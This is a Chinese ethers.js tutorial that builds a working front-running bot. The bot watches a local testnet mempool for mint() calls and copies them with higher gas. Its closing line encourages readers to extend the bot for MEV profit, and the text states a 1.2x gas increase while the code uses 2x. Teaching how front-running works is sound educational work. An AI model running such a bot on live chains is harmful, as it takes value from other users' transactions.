Ethers极简入门: 23. 抢先交易脚本

我最近在重新学ethers.js，巩固一下细节，也写一个WTF Ethers极简入门，供小白们使用。

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这一讲，我们将介绍抢先交易（Front-running，抢跑）的脚本。据统计，以太坊上的套利者通过三明治攻击（sandwich attack）共获利12亿美元。在学习之前，请先阅读WTF Solidity教程合约安全S11: 抢先交易。

Freemint NFT合约

我们要抢跑的目标合约是一个ERC721标准的NFT合约Frontrun.sol，它拥有一个mint()函数进行免费铸造。

// SPDX-License-Identifier: MIT
// By 0xAA
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// 我们尝试frontrun一笔Free mint交易
contract FreeMint is ERC721 {
    uint256 public totalSupply;

    // 构造函数，初始化NFT合集的名称、代号
    constructor() ERC721("Free Mint NFT", "FreeMint"){}

    // 铸造函数
    function mint() external {
        _mint(msg.sender, totalSupply); // mint
        totalSupply++;
    }
}

为了简化测试环境，我们将上述合约部署在foundry本地测试网，然后监听在mempool中的未决交易，筛选出符合标准的交易进行抢跑。

如果你不了解 foundry，可以阅读WTF Solidity中的Foundry教程。安装好 foundry 后，在命令行输入以下命令就可以启动本地测试网:

anvil

抢跑脚本

下面，我们详解一下抢跑脚本frontrun.js，这个脚本会监听链上的mint()交易，并发送一个gas更高的相同交易，进行抢跑。

创建连接到foundry本地测试网的provider对象，用于监听和发送交易。foundry本地测试网默认url："http://127.0.0.1:8545"。

import { ethers } from "ethers";

// 1. 创建provider
var url = "http://127.0.0.1:8545";
const provider = new ethers.WebSocketProvider(url);
let network = provider.getNetwork()
network.then(res => console.log(`[${(new Date).toLocaleTimeString()}] 连接到 chain ID ${res.chainId}`));

创建一个包含我们感兴趣的mint()函数的interface对象，用于解码交易。如果你不了解它，可以阅读WTF Ethers极简教程第20讲：解码交易。
```
// 2. 创建interface对象，用于解码交易详情。
const iface = new ethers.Interface([
    "function mint() external",
])
```

创建测试钱包，用于发送抢跑交易，私钥是foundry测试网提供的，里面有10000 ETH测试币。

// 3. 创建钱包，用于发送抢跑交易
const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a'
const wallet = new ethers.Wallet(privateKey, provider)

我们利用provider.on方法监听mempool中的未决交易，当交易出现时，我们会利用交易哈希txHash来读取交易详情tx，并筛选出调用了mint()函数且发送方不是自己钱包地址的交易（如果不筛选，会自己抢跑自己的交易，陷入死循环）。然后，再打印筛选出的交易哈希。

provider.on("pending", async (txHash) => {
    if (txHash) {
        // 获取tx详情
        let tx = await provider.getTransaction(txHash);
        if (tx) {
            // filter pendingTx.data
            if (tx.data.indexOf(iface.getFunction("mint").selector) !== -1 && tx.from != wallet.address ) {
                // 打印txHash
                console.log(`\n[${(new Date).toLocaleTimeString()}] 监听Pending交易: ${txHash} \r`);

打印筛选出的未决交易详情

// 打印原始交易
console.log("raw transaction")
console.log(tx);

打印解码后的交易详情，可以看到该交易调用的是mint()函数。

// 打印交易解码后结果
let parsedTx = iface.parseTransaction(tx)
console.log("pending交易详情解码：")
console.log(parsedTx);

构建抢跑交易txFrontrun，原交易的目标地址to，发送以太坊数额value和发送数据data保持不变，然后将gas拉高：maxPriorityFeePerGas 和 maxFeePerGas 改为原先的 1.2 倍，gasLimit最高设为原先的 2 倍。然后通过 sendTransaction() 将交易发送到链上，完成抢跑！

// 构建抢跑tx
const txFrontrun = {
    to: tx.to,
    value: tx.value,
    maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 2n,
    maxFeePerGas: tx.maxFeePerGas * 2n,
    gasLimit: tx.gasLimit * 2,
    data: tx.data
}
// 发送抢跑交易
var txResponse = await wallet.sendTransaction(txFrontrun)
console.log(`正在frontrun交易`)
await txResponse.wait()
console.log(`frontrun 交易成功`)   

总结

这一讲，我们介绍了一个简单的抢先交易脚本。你可以在这个脚本的基础上加入你想要的功能，开启币圈科学家之路！

Ethers极简入门: 23. 抢先交易脚本

Freemint NFT合约​

抢跑脚本​

总结​

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